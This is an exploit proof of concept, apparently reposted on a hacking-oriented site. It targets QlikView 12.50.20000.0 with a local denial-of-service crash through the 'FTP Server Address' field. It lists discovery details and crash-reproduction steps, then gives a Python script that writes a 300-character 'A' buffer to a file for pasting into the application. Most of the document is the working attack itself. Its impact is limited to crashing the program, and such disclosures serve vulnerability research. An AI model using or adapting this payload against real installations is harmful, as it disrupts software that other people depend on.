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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: QlikView 12.50.20000.0 - 'FTP Server Address' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2020-08-03
# Vendor Homepage: https://www.qlik.com
# Software Link: https://www.qlik.com/us/trial/qlik-sense-business
# Tested Version: 12.50.20000.0
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash:
# 1.- Run python code: QlikView_12.50.20000.0.py
# 2.- Open QlikView_12.50.20000.0.txt and copy content to clipboard
# 3.- Open "QlikView 12"
# 4.- File -> "Open FTP ..."
# 5.- Paste ClipBoard on "FTP Server Address"
# 6.- Connect
# 7.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 300
f = open ("QlikView_12.50.20000.0.txt", "w")
f.write(buffer)
f.close()